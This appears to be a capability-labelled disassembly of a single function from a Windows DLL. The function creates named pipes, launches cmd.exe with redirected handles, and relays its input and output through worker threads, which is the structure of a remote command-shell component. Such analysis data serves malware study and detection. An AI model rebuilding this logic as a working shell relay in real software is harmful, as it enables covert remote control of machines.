Function at 0x1800014b4
Capabilities:
Connect pipe
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Execute shell command and capture output
Get common file path
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x360
xor eax, eax
mov rdi, r8
mov rbx, rcx
mov rsi, rdx
mov qword [rsp + 0x78], rax
lea rcx, [r11 - 0x2a0]
lea r8d, [rax + 0x60]
xor r12d, r12d
xor edx, edx
mov qword [r11 - 0x2f8], rax
mov dword [r11 - 0x2a8], r12d
call fcn.180015710
mov ebp, 0x103
lea rcx, [rsp + 0x251]
xor edx, edx
mov r8, rbp
mov byte [rsp + 0x250], r12b
call fcn.180015710
xor eax, eax
lea r13d, [r12 + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, r13d
mov dword [rsp + 0x380], r12d
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x80], r13d
mov qword [rsp + 0x78], r12
mov dword [rsp + 0x70], 0x18
call qword [sym.imp.KERNEL32.dll_CreateEventW]
xor r9d, r9d
xor r8d, r8d
mov edx, r13d
xor ecx, ecx
mov dword [rsp + 0xbc], r12d
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0xb8], r12d
call qword [sym.imp.KERNEL32.dll_CreateEventW]
lea rcx, [rsp + 0x141]
mov r8, rbp
xor edx, edx
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0x9c], r12d
mov dword [rsp + 0x98], r12d
mov byte [rsp + 0x140], r12b
call fcn.180015710
lea rdx, str..PIPERMS_d
lea rcx, [rsp + 0x140]
mov r8, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
mov eax, 0x1000
lea r11, [rsp + 0x70]
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], eax
lea r9d, [rbp - 4]
lea rcx, [rsp + 0x140]
xor r8d, r8d
mov edx, 0x40000003
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
or r13, 0xffffffffffffffff
mov qword [rbx + 0x20], rax
cmp rax, r13
je 0x18000185e
lea rdx, [rsp + 0xa8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov ebp, 0x3e5
cmp eax, r12d
jne 0x18000164d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, ebp
jne 0x180001864
mov qword [rsp + 0x30], r12
lea r9, [rsp + 0x70]
lea rcx, [rsp + 0x140]
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x40000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbx + 0x30], rax
cmp rax, r13
je 0x18000185e
mov rcx, qword [rbx + 0x20]
lea r8, [rsp + 0x380]
lea rdx, [rsp + 0xa8]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
cmp eax, r12d
je 0x18000185e
lea rdx, str..PIPERMS_d
lea rcx, [rsp + 0x140]
mov r8, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
mov eax, 0x1000
lea r11, [rsp + 0x70]
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x140]
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x40000003
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rbx + 0x18], rax
cmp rax, r13
je 0x18000185e
lea rdx, [rsp + 0x88]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
cmp eax, r12d
jne 0x180001731
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, ebp
jne 0x1800019bd
mov qword [rsp + 0x30], r12
lea r9, [rsp + 0x70]
lea rcx, [rsp + 0x140]
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x40000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbx + 0x28], rax
cmp rax, r13
je 0x18000185e
mov rcx, qword [rbx + 0x20]
lea r8, [rsp + 0x380]
lea rdx, [rsp + 0x88]
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetOverlappedResult]
cmp eax, r12d
je 0x18000185e
mov rax, qword [rbx + 0x28]
mov dword [rsp + 0xd0], WSAGetLastError
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0x120], rax
mov rax, qword [rbx + 0x30]
mov word [rsp + 0x110], r12w
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x128], rax
mov dword [rsp + 0x10c], 0x101
call fcn.180002564
lea rcx, [rsp + 0x250]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, r12d
jne 0x1800017fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.cmd.exe
lea rcx, [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rax, [rsp + 0xd0]
lea rbp, [rbx + 0x38]
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x250]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, r12d
jne 0x18000188c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x200
mov r8d, 0x7530
mov rdx, rdi
mov word [rdi + 4], cx
mov rcx, rsi
mov word [rdi + 8], r12w
mov word [rdi + 0xe], ax
call fcn.180006c30
jmp 0x1800019bd
mov ecx, 0x200
mov r8d, 0x7530
mov rdx, rdi
mov word [rdi + 4], cx
mov rcx, rsi
mov word [rdi + 8], r12w
mov word [rdi + 0xe], r12w
call fcn.180006c30
cmp eax, r12d
jne 0x1800019bd
mov rax, qword [rsi + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x50], rax
mov rax, qword [rbp]
lea edx, [r9 + 1]
xor ecx, ecx
mov qword [rbx + 8], rsi
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_CreateEventW]
lea r8, [0x180001308]
mov r9, rbx
mov qword [rbx + 0x10], rax
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
mov qword [rsi + 8], rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x180001208]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r8d, r8d
or edi, 0xffffffff
lea rdx, [rsp + 0x50]
lea ecx, [r8 + 4]
mov r9d, edi
mov qword [rsp + 0x68], rax
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, qword [rbp]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x60]
cmp rcx, r12
je 0x18000197f
mov edx, edi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x60], r12
mov rcx, qword [rsp + 0x68]
cmp rcx, r12
je 0x1800019a1
mov edx, edi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x68], r12
mov rax, qword [rsp + 0x50]
mov qword [rsi + 8], rax
mov rcx, qword [rbx + 0x10]
cmp rcx, r12
je 0x1800019bd
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x10], r12
mov rcx, qword [rbx + 0x38]
cmp rcx, r12
je 0x1800019d0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x38], r12
mov rcx, qword [rbx + 0x40]
cmp rcx, r12
je 0x1800019e3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x40], r12
mov rcx, qword [rsp + 0xc0]
cmp rcx, r12
je 0x1800019fe
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xc0], r12
mov rcx, qword [rsp + 0xa0]
cmp rcx, r12
je 0x180001a19
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0xa0], r12
mov rcx, qword [rbx + 0x18]
cmp rcx, r13
je 0x180001a2c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x18], r13
mov rcx, qword [rbx + 0x28]
cmp rcx, r13
je 0x180001a3f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x28], r13
mov rcx, qword [rbx + 0x30]
cmp rcx, r13
je 0x180001a52
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x30], r13
mov rcx, qword [rbx + 0x20]
cmp rcx, r13
je 0x180001a65
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x20], r13
lea r11, [rsp + 0x360]
mov qword [rbx + 8], r12
mov eax, 0x2746
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r13
pop r12
pop rdi
ret